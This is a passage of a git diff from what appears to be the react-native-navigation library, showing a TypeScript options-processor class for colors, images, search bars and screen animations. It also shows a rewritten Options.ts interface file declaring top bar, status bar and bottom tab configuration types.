forEach(objectToProcess, (value, key) => { + const objectPath = this.resolveObjectPath(key, parentPath); + this.processWithRegisteredProcessor( + key, + value, + objectToProcess, + objectPath, + commandName, + props + ); + + this.processColor(key, value, objectToProcess); + + if (!value) { + return; + } + this.processComponent(key, value, objectToProcess); + this.processImage(key, value, objectToProcess); + this.processButtonsPassProps(key, value); + this.processSearchBar(key, value, objectToProcess); + this.processInterpolation(key, value, objectToProcess); + this.processAnimation(key, value, objectToProcess); + + onProcess(key, parentOptions); + + const processedValue = objectToProcess[key]; + if (!isEqual(key, 'passProps') && (isObject(processedValue) || isArray(processedValue))) { + this.processObject( + processedValue, + parentOptions, + onProcess, + commandName, + props, + objectPath + ); + } + }); + } + + private resolveObjectPath(key: string, path?: string): string { + if (!path) path = key; + else path += `.${key}`; + return path; + } + + private processColor(key: string, value: any, options: Record) { + if ((isEqual(key, 'color') || endsWith(key, 'Color')) && !isEqual(key, 'bkgColor')) { + if (Platform.OS === 'ios') this.processColorIOS(key, value, options); + else this.processColorAndroid(key, value, options); + } + } + + private processColorIOS(key: string, value: any, options: Record) { + if (value !== undefined) { + if (value === null) { + options[key] = 'NoColor'; + } else if (value instanceof Object) { + if ('semantic' in value) { + options[key] = value; + } else if ('dynamic' in value) { + options[key] = DynamicColorIOS({ + light: this.colorService.toNativeColor(value.dynamic.light) as ColorValue, + dark: this.colorService.toNativeColor(value.dynamic.dark) as ColorValue, + }); + } else { + options[key] = DynamicColorIOS({ + light: this.colorService.toNativeColor(value.light) as ColorValue, + dark: this.colorService.toNativeColor(value.dark) as ColorValue, + }); + } + } else { + options[key] = this.colorService.toNativeColor(value); + } + } + } + + private processColorAndroid(key: string, value: any, options: Record) { + if (value !== undefined) { + const newColorObj: Record = { dark: 'NoColor', light: 'NoColor' }; + if (value === null) { + options[key] = newColorObj; + } else if (value instanceof Object) { + if ('semantic' in value || 'resource_paths' in value) { + options[key] = value; + return; + } else { + for (let keyColor in value) { + newColorObj[keyColor] = this.colorService.toNativeColor(value[keyColor]); + } + options[key] = newColorObj; + } + } else { + let parsedColor = this.colorService.toNativeColor(value); + newColorObj.light = parsedColor; + newColorObj.dark = parsedColor; + options[key] = newColorObj; + } + } + } + + private processWithRegisteredProcessor( + key: string, + value: string, + options: Record, + path: string, + commandName: CommandName, + passProps: any + ) { + const registeredProcessors = this.optionProcessorsRegistry.getProcessors(path); + if (registeredProcessors) { + registeredProcessors.forEach((processor) => { + options[key] = processor(value, commandName, passProps); + }); + } + } + + private processImage(key: string, value: any, options: Record) { + if ( + isEqual(key, 'icon') || + isEqual(key, 'image') || + endsWith(key, 'Icon') || + endsWith(key, 'Image') + ) { + options[key] = isString(value) ? value : this.assetService.resolveFromRequire(value); + } + } + + private processButtonsPassProps(key: string, value: any) { + if (endsWith(key, 'Buttons')) { + forEach(value, (button) => { + if (button.passProps && button.id) { + this.store.setPendingProps(button.id, button.passProps); + button.passProps = undefined; + } + }); + } + } + + private processComponent(key: string, value: any, options: Record) { + if (isEqual(key, 'component')) { + value.componentId = value.id ? value.id : this.uniqueIdProvider.generate('CustomComponent'); + this.store.ensureClassForName(value.name); + if (value.passProps) { + this.store.setPendingProps(value.componentId, value.passProps); + } + options[key].passProps = undefined; + } + } + + private processSearchBar(key: string, value: OptionsSearchBar | boolean, options: OptionsTopBar) { + if (key !== 'searchBar') { + return; + } + + const deprecatedSearchBarOptions: OptionsSearchBar = { + visible: false, + hideOnScroll: options.searchBarHiddenWhenScrolling ?? false, + hideTopBarOnFocus: options.hideNavBarOnFocusSearchBar ?? false, + obscuresBackgroundDuringPresentation: false, + backgroundColor: options.searchBarBackgroundColor, + tintColor: options.searchBarTintColor, + placeholder: options.searchBarPlaceholder ?? '', + }; + + if (typeof value === 'boolean') { + // Deprecated + this.deprecations.onProcessOptions(key, options, ''); + + options[key] = { + ...deprecatedSearchBarOptions, + visible: value, + }; + } else { + options[key] = { + ...deprecatedSearchBarOptions, + ...value, + }; + } + } + + private processInterpolation(key: string, value: any, options: Record) { + if (isEqual(key, 'interpolation')) { + if (typeof value === 'string') { + this.deprecations.onProcessOptions(key, options, ''); + options[key] = { + type: options[key], + }; + } + } + } + + private processAnimation(key: string, value: any, options: Record) { + this.processSetRootAnimation(key, value, options); + this.processPush(key, value, options); + this.processPop(key, value, options); + this.processSetStackRoot(key, value, options); + this.processShowModal(key, value, options); + this.processDismissModal(key, value, options); + } + + private processSetStackRoot( + key: string, + animation: ViewAnimationOptions | StackAnimationOptions, + parentOptions: AnimationOptions + ) { + if (key !== 'setStackRoot') return; + if (this.isNewStackAnimationApi(animation)) return; + this.convertDeprecatedViewAnimationApiToNewStackAnimationApi(animation, parentOptions); + } + + private isNewStackAnimationApi(animation: ViewAnimationOptions | StackAnimationOptions) { + return has(animation, 'content') || has(animation, 'topBar') || has(animation, 'bottomTabs'); + } + + private convertDeprecatedViewAnimationApiToNewStackAnimationApi( + animation: ViewAnimationOptions | StackAnimationOptions, + parentOptions: AnimationOptions + ) { + if (!has(animation, 'content.enter') && !has(animation, 'content.exit')) { + parentOptions.setStackRoot = { + content: { + enter: animation, + }, + }; + if (has(animation, 'enabled')) { + parentOptions.setStackRoot!!.enabled = animation.enabled; + } + if (has(animation, 'waitForRender')) { + parentOptions.setStackRoot!!.waitForRender = animation.waitForRender; + } + } + } + + private processPop( + key: string, + animation: StackAnimationOptions, + parentOptions: AnimationOptions + ) { + if (key !== 'pop') return; + if (animation.content && !has(animation, 'content.enter') && !has(animation, 'content.exit')) { + parentOptions.pop!!.content = { + exit: animation.content as ViewAnimationOptions, + }; + } + if (animation.topBar && !has(animation, 'topBar.enter') && !has(animation, 'topBar.exit')) { + parentOptions.pop!!.topBar = { + exit: animation.topBar as ViewAnimationOptions, + }; + } + if ( + animation.bottomTabs && + !has(animation, 'bottomTabs.enter') && + !has(animation, 'bottomTabs.exit') + ) { + parentOptions.pop!!.bottomTabs = { + exit: animation.bottomTabs as ViewAnimationOptions, + }; + } + } + + private processSetRootAnimation( + key: string, + animation: ViewAnimationOptions | EnterExitAnimationOptions, + parentOptions: AnimationOptions + ) { + if (key !== 'setRoot') return; + if (Platform.OS === 'android' && !('enter' in animation)) { + parentOptions.setRoot = { + enter: animation, + } as EnterExitAnimationOptions; + } else if (Platform.OS === 'ios' && 'enter' in animation) { + parentOptions.setRoot = animation; + } + } + + private processShowModal( + key: string, + animation: OldModalAnimationOptions | ModalAnimationOptions, + parentOptions: AnimationOptions + ) { + if (key !== 'showModal') return; + if (!('enter' in animation)) { + const elementTransitions = animation.elementTransitions; + const sharedElementTransitions = animation.sharedElementTransitions; + const enter = { ...(animation as OldModalAnimationOptions) }; + delete enter.sharedElementTransitions; + delete enter.elementTransitions; + parentOptions.showModal = { + enter, + sharedElementTransitions, + elementTransitions, + }; + } + } + + private processDismissModal( + key: string, + animation: OldModalAnimationOptions | ModalAnimationOptions, + parentOptions: AnimationOptions + ) { + if (key !== 'dismissModal') return; + if (!('exit' in animation)) { + const elementTransitions = animation.elementTransitions; + const sharedElementTransitions = animation.sharedElementTransitions; + const exit = { ...(animation as OldModalAnimationOptions) }; + delete exit.sharedElementTransitions; + delete exit.elementTransitions; + parentOptions.dismissModal = { + exit, + sharedElementTransitions, + elementTransitions, + }; + } + } + + private processPush( + key: string, + animation: StackAnimationOptions, + parentOptions: AnimationOptions + ) { + if (key !== 'push') return; + if (animation.content && !has(animation, 'content.enter') && !has(animation, 'content.exit')) { + parentOptions.push!!.content = { + enter: animation.content as ViewAnimationOptions, + }; + } + if (animation.topBar && !has(animation, 'topBar.enter') && !has(animation, 'topBar.exit')) { + parentOptions.push!!.topBar = { + enter: animation.topBar as TopBarAnimationOptions, + }; + } + if ( + animation.statusBar && + !has(animation, 'statusBar.enter') && + !has(animation, 'statusBar.exit') + ) { + parentOptions.push!!.statusBar = { + enter: animation.statusBar as StatusBarAnimationOptions, + }; + } + if ( + animation.bottomTabs && + !has(animation, 'bottomTabs.enter') && + !has(animation, 'bottomTabs.exit') + ) { + parentOptions.push!!.bottomTabs = { + enter: animation.bottomTabs as ViewAnimationOptions, + }; + } + } +} diff --git a/src/interfaces/Options.ts b/src/interfaces/Options.ts index 59102b855a3..6c6a9aff2c7 100644 --- a/src/interfaces/Options.ts +++ b/src/interfaces/Options.ts @@ -1,1877 +1,1877 @@ -// tslint:disable jsdoc-format -import { ImageRequireSource, ImageSourcePropType, Insets, OpaqueColorValue } from 'react-native'; - -// TODO: Import ColorValue instead when upgrading @types/react-native to 0.63+ -// Only assign PlatformColor or DynamicColorIOS as a Color symbol! -export declare type Color = string | symbol | ThemeColor | OpaqueColorValue | null; -type FontFamily = string; -type FontStyle = 'normal' | 'italic'; -type FontWeightIOS = - | 'normal' - | 'ultralight' - | 'thin' - | 'light' - | 'regular' - | 'medium' - | 'semibold' - | 'demibold' - | 'extrabold' - | 'ultrabold' - | 'bold' - | 'heavy' - | 'black'; -type FontWeight = - | 'normal' - | 'bold' - | '100' - | '200' - | '300' - | '400' - | '500' - | '600' - | '700' - | '800' - | '900' - | FontWeightIOS; -export type LayoutOrientation = - | 'all' - | 'default' - | 'portrait' - | 'landscape' - | 'upsideDown' - | 'sensor' - | 'sensorLandscape' - | 'sensorPortrait'; -type AndroidDensityNumber = number; -export type SystemItemIcon = - | 'done' - | 'cancel' - | 'edit' - | 'save' - | 'add' - | 'flexibleSpace' - | 'fixedSpace' - | 'compose' - | 'reply' - | 'action' - | 'organize' - | 'bookmarks' - | 'search' - | 'refresh' - | 'stop' - | 'camera' - | 'trash' - | 'play' - | 'pause' - | 'rewind' - | 'fastForward' - | 'undo' - | 'redo'; -export type Interpolation = - | { type: 'accelerate'; factor?: number } - | { type: 'decelerate'; factor?: number } - | { type: 'decelerateAccelerate' } - | { type: 'accelerateDecelerate' } - | { type: 'fastOutSlowIn' } - | { type: 'linear' } - | { type: 'overshoot'; tension?: number } - | { - type: 'spring'; - mass?: number; - damping?: number; - stiffness?: number; - allowsOverdamping?: boolean; - initialVelocity?: number; - }; -interface ThemeColor { - light?: string | symbol; - dark?: string | symbol; -} -export interface OptionsSplitView { - /** - * Master view display mode - * @default 'auto' - */ - displayMode?: 'auto' | 'visible' | 'hidden' | 'overlay'; - /** - * Master view side. Leading is left. Trailing is right. - * @default 'leading' - */ - primaryEdge?: 'leading' | 'trailing'; - /** - * Set the minimum width of master view - */ - minWidth?: number; - /** - * Set the maximum width of master view - */ - maxWidth?: number; - /** - * Set background style of sidebar. Currently works for Mac Catalyst apps only. - * @default 'none' - */ - primaryBackgroundStyle?: 'none' | 'sidebar'; -} - -export interface OptionsStatusBar { - /** - * Set the status bar visibility - * @default true - */ - visible?: boolean; - /** - * Set the text color of the status bar - * @default 'light' - */ - style?: 'light' | 'dark'; - /** - * Set the background color of the status bar - * #### (Android specific) - */ - backgroundColor?: Color; - /** - * Draw screen behind the status bar - * #### (Android specific) - */ - drawBehind?: boolean; - /** - * Allows the StatusBar to be translucent (blurred) - * #### (Android specific) - */ - translucent?: boolean; - /** - * Animate StatusBar style changes. - * #### (iOS specific) - */ - animate?: boolean; - /** - * Automatically hide the StatusBar when the TopBar hides. - * #### (iOS specific) - */ - hideWithTopBar?: boolean; - /** - * Blur content beneath the StatusBar. - * #### (iOS specific) - */ - blur?: boolean; -} - -export interface OptionsLayout { - fitSystemWindows?: boolean; - /** - * Set the screen background color - */ - backgroundColor?: Color; - /** - * Set background color only for components, helps reduce overdraw if background color is set in default options. - * #### (Android specific) - */ - componentBackgroundColor?: Color; - /** - * Set the allowed orientations - */ - orientation?: LayoutOrientation[]; - /** - * Layout top margin - * #### (Android specific) - */ - topMargin?: number; - - /** - * Set language direction. - * only works with DefaultOptions - */ - direction?: 'rtl' | 'ltr' | 'locale'; - - /** - * Controls the application's preferred home indicator auto-hiding. - * #### (iOS specific) - */ - autoHideHomeIndicator?: boolean; - - /** - * Add insets to the top layout - */ - insets?: Insets; - - /** - * Resizes the layout when keyboard is visible - * @default true - * #### (Android specific) - */ - adjustResize?: boolean; -} - -export enum OptionsModalPresentationStyle { - formSheet = 'formSheet', - pageSheet = 'pageSheet', - overFullScreen = 'overFullScreen', - overCurrentContext = 'overCurrentContext', - currentContext = 'currentContext', - popover = 'popover', - fullScreen = 'fullScreen', - none = 'none', -} - -export enum OptionsModalTransitionStyle { - coverVertical = 'coverVertical', - crossDissolve = 'crossDissolve', - flipHorizontal = 'flipHorizontal', - partialCurl = 'partialCurl', -} - -export interface OptionsTopBarLargeTitle { - /** - * Enable large titles - */ - visible?: boolean; - /** - * Set the font size of large title's text - */ - fontSize?: number; - /** - * Set the color of large title's text - */ - color?: Color; - /** - * Set the font family of the large title text - */ - fontFamily?: FontFamily; - /** - * Set the font style of the large title text - */ - fontStyle?: FontStyle; - /** - * Specifies font weight. The values 'normal' and 'bold' are supported - * for most fonts. Not all fonts have a variant for each of the numeric - * values, in that case the closest one is chosen. - */ - fontWeight?: FontWeight; -} - -export interface OptionsTopBarTitle { - /** - * Text to display in the title area - */ - text?: string; - /** - * Font size - */ - fontSize?: number; - /** - * Text color - */ - color?: Color; - /** - * Set the font family for the title - */ - fontFamily?: FontFamily; - /** - * Set the font style for the title - */ - fontStyle?: FontStyle; - /** - * Specifies font weight. The values 'normal' and 'bold' are supported - * for most fonts. Not all fonts have a variant for each of the numeric - * values, in that case the closest one is chosen. - */ - fontWeight?: FontWeight; - /** - * Custom component as the title view - */ - component?: { - /** - * Component reference id, Auto generated if empty - */ - id?: string; - /** - * Name of your component - */ - name: string; - /** - * Set component alignment - */ - alignment?: 'center' | 'fill'; - /** - * Properties to pass down to the component - */ - passProps?: object; - }; - /** - * Top Bar title height in densitiy pixels - * #### (Android specific) - */ - height?: number; - /** - * Title alignment - * #### (Android specific) - */ - alignment?: 'center' | 'fill'; -} - -export interface OptionsTopBarSubtitle { - /** - * Set subtitle text - */ - text?: string; - /** - * Set subtitle font size - */ - fontSize?: number; - /** - * Set subtitle color - */ - color?: Color; - /** - * Set the font family for the subtitle - */ - fontFamily?: FontFamily; - /** - * Set the font style for a text - */ - fontStyle?: FontStyle; - /** - * Specifies font weight. The values 'normal' and 'bold' are supported - * for most fonts. Not all fonts have a variant for each of the numeric - * values, in that case the closest one is chosen. - */ - fontWeight?: FontWeight; - /** - * Set subtitle alignment - */ - alignment?: 'center'; -} - -export interface OptionsTopBarBackButton { - /** - * Overrides the text that's read by the screen reader when the user interacts with the back button - * #### (Android specific) - */ - accessibilityLabel?: string; - /** - * Button id for reference press event - */ - id?: string; - /** - * Image to show as the back button - */ - icon?: ImageResource; - /** - * SF Symbol to show as the back button - * #### (iOS 13+ specific) - */ - sfSymbol?: string; - /** - * Weither the back button is visible or not - * @default true - */ - visible?: boolean; - /** - * Set the back button title - * #### (iOS specific) - */ - title?: string; - /** - * Show title or just the icon - * #### (iOS specific) - */ - showTitle?: boolean; - /** - * Back button icon and text color - */ - color?: Color; - /** - * Set subtitle font size - */ - fontSize?: number; - /** - * Set the font family for the back button - * #### (iOS specific) - */ - fontFamily?: FontFamily; - /** - * Set the font style for a text - */ - fontStyle?: FontStyle; - /** - * Specifies font weight. The values 'normal' and 'bold' are supported - * for most fonts. Not all fonts have a variant for each of the numeric - * values, in that case the closest one is chosen. - */ - fontWeight?: FontWeight; - /** - * Set icon background style - */ - iconBackground?: IconBackgroundOptions; - /** - * Set testID for reference in E2E tests - */ - testID?: string; - /** - * Enables iOS 14 back button menu display - * #### (iOS specific) - * @default true - */ - enableMenu?: boolean; - /** - * Allows the NavBar to be translucent (blurred) - * #### (iOS specific) - */ - displayMode?: 'default' | 'generic' | 'minimal'; - /** - * Controls whether the default back button should pop the Stack or not - * @default true - */ - popStackOnPress?: boolean; - /** - * (iOS 26+ only) Hide the shared Liquid-Glass / Platter background that - * UIKit draws behind the back button. Defaults to true to avoid - * double-decorating a back button whose icon already carries its own - * iconBackground. Set to false to keep the system-drawn background. - * @default true - */ - hideSharedBackground?: boolean; -} - -export interface HardwareBackButtonOptions { - /** - * Controls whether the hardware back button should dismiss modal or not - * #### (Android specific) - * @default true - */ - dismissModalOnPress?: boolean; - /** - * Controls whether the hardware back button should pop the Stack or not - * #### (Android specific) - * @default true - */ - popStackOnPress?: boolean; - - /** - * Controls hardware back button bottom tab selection behaviour - */ - bottomTabsOnPress?: 'exit' | 'first' | 'previous'; -} - -export interface OptionsTopBarScrollEdgeAppearanceBackground { - /** - * Background color of the top bar - */ - color?: Color; - /** - * Allows the NavBar to be translucent (blurred) - * #### (iOS specific) - */ - translucent?: boolean; -} - -export interface OptionsTopBarScrollEdgeAppearanceTitle { - /** - * Font size - */ - fontSize?: number; - /** - * Text color - */ - color?: Color; - /** - * Set the font family for the title - */ - fontFamily?: FontFamily; - /** - * Set the font style for the title - */ - fontStyle?: FontStyle; - /** - * Specifies font weight. The values 'normal' and 'bold' are supported - * for most fonts. Not all fonts have a variant for each of the numeric - * values, in that case the closest one is chosen. - */ - fontWeight?: FontWeight; -} - -export interface OptionsTopBarScrollEdgeAppearance { - /** - * Title configuration applied when the scroll view reaches the edge - * ### (iOS specific) - */ - title?: OptionsTopBarScrollEdgeAppearanceTitle; - background?: OptionsTopBarScrollEdgeAppearanceBackground; - active: boolean; - /** - * Disable the border on bottom of the navbar - * #### (iOS specific) - * @default false - */ - noBorder?: boolean; - /** - * Change the navbar border color - */ - borderColor?: Color; -} - -export interface OptionsTopBarBackground { - /** - * Background color of the top bar - */ - color?: Color; - /** - * Clip the top bar background to bounds if set to true. - * #### (iOS specific) - */ - clipToBounds?: boolean; - /** - * Set a custom component for the Top Bar background - */ - component?: { - name?: string; - /** - * Properties to pass down to the component - */ - passProps?: object; - }; - /** - * Allows the NavBar to be translucent (blurred) - * #### (iOS specific) - */ - translucent?: boolean; - /** - * Enable background blur - * #### (iOS specific) - */ - blur?: boolean; -} - -export interface OptionsTopBarButton { - /** - * (Android only) Sets a textual button to be ALL CAPS. default value is true - */ - allCaps?: boolean; - /** - * Button id for reference press event - */ - id: string; - /** - * Set the button icon - */ - icon?: ImageResource; - /** - * Set the SF symbol as icon (will be used primarily) - * #### (iOS 13+ specific) - */ - sfSymbol?: string; - /** - * Set the button icon insets - */ - iconInsets?: IconInsets; - /** - * Set the button as a custom component - */ - component?: { - /** - * Component reference id, Auto generated if empty - */ - id?: string; - /** - * Name of your component - */ - name: string; - /** - * Properties to pass down to the component - */ - passProps?: object; - /** - * (Android only) component width - */ - width?: number; - /** - * (Android only) component height - */ - height?: number; - }; - /** - * (iOS only) Set the button as an iOS system icon - */ - systemItem?: SystemItemIcon; - /** - * Set the button text - */ - text?: string; - /** - * Overrides the text that's read by the screen reader when the user interacts with the element - */ - accessibilityLabel?: string; - /** - * Set the font family for the button's text - */ - fontFamily?: FontFamily; - /** - * Set the font style for the button's text - */ - fontStyle?: FontStyle; - /** - * Specifies font weight. The values 'normal' and 'bold' are supported - * for most fonts. Not all fonts have a variant for each of the numeric - * values, in that case the closest one is chosen. - */ - fontWeight?: FontWeight; - /** - * Set the font size in dp - */ - fontSize?: number; - /** - * Set the button enabled or disabled - * @default true - */ - enabled?: boolean; - /** - * Disable icon tinting - */ - disableIconTint?: boolean; - /** - * Set text color - */ - color?: Color; - /** - * Set text color in disabled state - */ - disabledColor?: Color; - /** - * Set icon background style - */ - iconBackground?: IconBackgroundOptions; - /** - * Set testID for reference in E2E tests - */ - testID?: string; - /** - * (iOS 26+ only) Hide the shared Liquid-Glass / Platter background that - * UIKit draws behind every bar button item. Defaults to true to avoid - * double-decorating React-rendered custom views and icons that already - * carry their own background. Set to false to keep the system-drawn - * background. - * @default true - */ - hideSharedBackground?: boolean; - /** - * (Android only) Set showAsAction value - * @see {@link https://developer.android.com/guide/topics/resources/menu-resource|Android developer guide: Menu resource} - */ - showAsAction?: 'ifRoom' | 'withText' | 'always' | 'never'; -} - -export interface OptionsSearchBar { - visible?: boolean; - focus?: boolean; - hideOnScroll?: boolean; - hideTopBarOnFocus?: boolean; - obscuresBackgroundDuringPresentation?: boolean; - backgroundColor?: Color; - tintColor?: Color; - placeholder?: string; - cancelText?: string; - /** - * iOS 26+ only. Controls where the search bar is placed. - * - 'stacked': Below the navigation bar title (default, legacy behavior) - * - 'integrated': Inside the navigation bar - */ - placement?: 'stacked' | 'integrated'; -} - -export interface OptionsTopBar { - /** - * Show or hide the top bar - */ - visible?: boolean; - /** - * Controls whether TopBar visibility changes should be animated - */ - animate?: boolean; - /** - * Top bar will hide and show based on users scroll direction - */ - hideOnScroll?: boolean; - /** - * Change button colors in the top bar - */ - - leftButtonColor?: Color; - rightButtonColor?: Color; - leftButtonBackgroundColor?: Color; - rightButtonBackgroundColor?: Color; - leftButtonDisabledColor?: Color; - rightButtonDisabledColor?: Color; - /** - * Draw behind the navbar - */ - drawBehind?: boolean; - /** - * Can be used to reference the top bar in E2E tests - */ - testID?: string; - /** - * Title configuration - */ - title?: OptionsTopBarTitle; - /** - * Subtitle configuration - */ - subtitle?: OptionsTopBarSubtitle; - /** - * Back button configuration - */ - backButton?: OptionsTopBarBackButton; - /** - * List of buttons to the left - */ - leftButtons?: OptionsTopBarButton[]; - /** - * List of buttons to the right - */ - rightButtons?: OptionsTopBarButton[]; - /** - * Background configuration - */ - background?: OptionsTopBarBackground; - - /** - * - */ - scrollEdgeAppearance?: OptionsTopBarScrollEdgeAppearance; - /** - * Control the NavBar blur style - * #### (iOS specific) - * @requires translucent: true - * @default 'default' - */ - barStyle?: 'default' | 'black'; - /** - * Disable the border on bottom of the navbar - * #### (iOS specific) - * @default false - */ - noBorder?: boolean; - /** - * Show a UISearchBar in the Top Bar - * #### (iOS 11+ specific) - */ - searchBar?: OptionsSearchBar; - /** - * Hides the UISearchBar when scrolling - * #### (iOS 11+ specific) - */ - searchBarHiddenWhenScrolling?: boolean; - /** - * The placeholder value in the UISearchBar - * #### (iOS 11+ specific) - */ - searchBarPlaceholder?: string; - /** - * The background color of the UISearchBar's TextField - * #### (iOS 13+ specific) - */ - searchBarBackgroundColor?: string; - /** - * The tint color of the UISearchBar - * #### (iOS 11+ specific) - */ - searchBarTintColor?: string; - /** - * Controls Hiding NavBar on focus UISearchBar - * #### (iOS 11+ specific) - */ - hideNavBarOnFocusSearchBar?: boolean; - /** - * Control the Large Title configuration - * #### (iOS 11+ specific) - */ - largeTitle?: OptionsTopBarLargeTitle; - /** - * Set the height of the navbar in dp - * #### (Android specific) - */ - height?: AndroidDensityNumber; - /** - * Change the navbar border color - */ - borderColor?: Color; - /** - * Set the border height of the navbar in dp - * #### (Android specific) - */ - borderHeight?: AndroidDensityNumber; - /** - * Set the elevation of the navbar in dp - * #### (Android specific) - */ - elevation?: AndroidDensityNumber; - /** - * Layout top margin - * #### (Android specific) - */ - topMargin?: number; - - /** - * Toggles animation on left buttons bar upon changes - */ - animateLeftButtons?: boolean; - - /** - * Toggles animation on right buttons bar upon changes - */ - animateRightButtons?: boolean; -} - -export interface SharedElementTransition { - fromId: string; - toId: string; - duration?: number; - interpolation?: Interpolation; -} - -export interface ElementTransition { - id: string; - alpha?: AppearingElementAnimation | DisappearingElementAnimation; - translationX?: AppearingElementAnimation | DisappearingElementAnimation; - translationY?: AppearingElementAnimation | DisappearingElementAnimation; - scaleX?: AppearingElementAnimation | DisappearingElementAnimation; - scaleY?: AppearingElementAnimation | DisappearingElementAnimation; - rotationX?: AppearingElementAnimation | DisappearingElementAnimation; - rotationY?: AppearingElementAnimation | DisappearingElementAnimation; - x?: AppearingElementAnimation | DisappearingElementAnimation; - y?: AppearingElementAnimation | DisappearingElementAnimation; -} - -export interface AppearingElementAnimation extends ElementAnimation { - from: number; -} - -export interface DisappearingElementAnimation extends ElementAnimation { - to: number; -} - -export interface ElementAnimation { - duration: number; - startDelay?: number; - interpolation?: Interpolation; -} - -export interface OptionsFab { - id: string; - backgroundColor?: Color; - clickColor?: Color; - rippleColor?: Color; - visible?: boolean; - icon?: ImageResource; - iconColor?: Color; - alignHorizontally?: 'left' | 'right'; - hideOnScroll?: boolean; - size?: 'mini' | 'regular'; -} - -export interface OptionsBottomTabs { - /** - * Show or hide the bottom tabs - */ - visible?: boolean; - /** - * Enable animations when toggling visibility - */ - animate?: boolean; - /** - * Controls whether tab selection is animated or not - * #### (android specific) - * @default true - */ - animateTabSelection?: boolean; - /** - * Use large icons when possible, even when three tabs without titles are displayed - * #### (android specific) - * @default false - */ - preferLargeIcons?: boolean; - /** - * Switch to another screen within the bottom tabs via index (starting from 0) - */ - currentTabIndex?: number; - /** - * Switch to another screen within the bottom tabs via screen name - */ - currentTabId?: string; - /** - * Set a testID to reference the bottom tabs - */ - testID?: string; - /** - * Overrides the text that's read by the screen reader when the user interacts with the element - * #### (iOS specific) - */ - accessibilityLabel?: string; - /** - * Draw screen component under the tab bar - */ - drawBehind?: boolean; - /** - * Set a background color for the bottom tabs.
- * On Android - also applicable when translucence is applied, but a semi-transparent - * color should be used (e.g. `rgba(255, 0, 0, 0.25)`). - */ - backgroundColor?: Color; - /** - * Set when tabs are attached to hierarchy consequently when the - * RootView's constructor is called. - */ - tabsAttachMode?: 'together' | 'afterInitialTab' | 'onSwitchToTab'; - /** - * Control the Bottom Tabs blur style - * #### (iOS specific) - * @requires translucent: true - * @default 'default' - */ - barStyle?: 'default' | 'black'; - /** - * Control the way the bottom tabs are laid out. - * - `stretch`: Fill the entire width of the screen. - * - `compact`: Occupy the minimum width needed to hold tab buttons. Recommended for - * usage in conjunction with `drawBehind: true`. - * - * #### (Android specific) - * @default 'stretch' - */ - layoutStyle?: 'stretch' | 'compact'; - /** - * Specify a corner-radius (in dip) in order to apply round corners to the tabs container.
- * Mainly suitable when used in conjunction with `layoutStyle: 'compact'` - * #### (Android specific) - */ - cornerRadius?: AndroidDensityNumber; - /** - * Bottom-margin to set in order to apply a "hover" effect. - * Works best when used in conjunction with `layoutStyle: 'compact'` and `drawBehind: true`. - * #### (Android specific) - */ - bottomMargin?: AndroidDensityNumber; - /** - * Allows the bottom tabs to be translucent (blurred). Doesn't necessarily play - * nice with shadow effects on Android. - * #### Android: experimental, turn on using native toggle `TAB_BAR_TRANSLUCENCE`. - */ - translucent?: boolean; - /** - * Set a custom radius to be used in the blur effect. Higher is blurrier, but - * also more CPU-intensive.
- * Note: The blurring is performed following a bitmap downscale of x4.0, so - * ultimately the actual radius is (4*blurRadius). - * #### (Android specific) - * @defaultValue 1.0 - */ - blurRadius?: AndroidDensityNumber; - /** - * Hide the top line of the Tab Bar - * #### (iOS specific) - */ - hideShadow?: boolean; - /** - * Control the text display mode below the tab icon - * #### (Android specific) - */ - titleDisplayMode?: 'alwaysShow' | 'showWhenActive' | 'alwaysHide' | 'showWhenActiveForce'; - /** - * Set the elevation of the Bottom Tabs in dp - * #### (Android specific) - */ - elevation?: AndroidDensityNumber; - /** - * Hides the BottomTabs on scroll to increase the amount of content visible to the user. - * The options requires that the scrollable view will be the root view of the screen and that it specifies `nestedScrollEnabled: true`. - * #### (Android specific) - */ - hideOnScroll?: boolean; - /** - * Control the top border color of the Bottom tabs bar - */ - borderColor?: Color; - /** - * Control the top border width of the Bottom tabs bar - */ - borderWidth?: number; - /** - * Control the shadow of the Bottom tabs bar - */ - shadow?: ShadowOptions; - /** - * Visual options for the floating row that hosts custom React-component - * bottom tab cells. Only takes effect when every `bottomTab.component` - * is set on that `bottomTabs` layout. - * - * Same JS shape on iOS and Android. iOS applies options via the native - * parser; Android receives them through `RNNBottomTabsCustomRowModule`. - */ - customRow?: BottomTabsCustomRowOptions; -} - -export interface BottomTabsCustomRowOptions { - /** - * Content height of the row in points (iOS) / dp (Android). Excludes - * safe-area inset. Total row height = `height` + safe bottom + `bottomMargin`. - * - * Default: native tab content height; on iOS 26+ an extra 18pt when omitted. - */ - height?: number; - /** - * Solid background color for the row. When set, overrides - * `backgroundEffect`. - */ - backgroundColor?: Color; - /** - * Visual effect for the row background. - * - `glass`: iOS 26+ `UIGlassEffect`. - * - `blur`: `UIBlurEffect` with `systemChromeMaterial`. - * - `none`: fully transparent. - * - * Default: `glass` on iOS 26+, `blur` on older versions. - */ - backgroundEffect?: 'glass' | 'blur' | 'none'; - /** - * Corner radius applied to the row's background. - * Default: 28 on iOS 26+, 0 below. - */ - cornerRadius?: number; - /** - * Horizontal inset from the screen edges. - * Default: 16 on iOS 26+, 0 below. - */ - horizontalMargin?: number; - /** - * Distance between the row's bottom edge and the safe-area bottom. - * Default: 0. - */ - bottomMargin?: number; -} - -export interface ShadowOptions { - /** - * The opacity of the shadow - */ - opacity?: number; - /** - * The color of the shadow - */ - color?: Color; - /** - * The blur radius used to create the shadow - */ - radius?: number; -} - -export interface DotIndicatorOptions { - // default red - color?: Color; - // default 6 - size?: number; - // default false - visible?: boolean; -} - -export interface ImageSystemSource { - system: string; - fallback?: ImageRequireSource | string; -} - -export type ImageResource = ImageSourcePropType | string | ImageSystemSource; - -export interface OptionsBottomTab { - dotIndicator?: DotIndicatorOptions; - - /** - * Render a React component as the tab item content (icon + text area). - * - * When set, the native icon, text and font props (`text`, `icon`, - * `selectedIcon`, `sfSymbol`, `sfSelectedSymbol`, `iconColor`, - * `selectedIconColor`, `iconWidth`, `iconHeight`, `iconInsets`, - * `fontFamily`, `fontWeight`, `fontSize`, `selectedFontSize`, - * `textColor`, `selectedTextColor`) are ignored for that tab. - * - * For the custom rendering to take effect every tab in the - * `bottomTabs` layout must declare a `component`. If only some - * tabs declare one a warning is logged and native rendering is - * used for all tabs. - * - * The component receives the following initial props and - * subsequent prop updates: - * - `componentId`: stable id for this tab item instance - * - `tabIndex`: position of the tab (0-based) - * - `selected`: whether this tab is currently selected - * - `badge`: current badge text (mirrors `bottomTab.badge`) - * - * Native still owns selection, hide/show, drawBehind, animations - * and the dot indicator. To 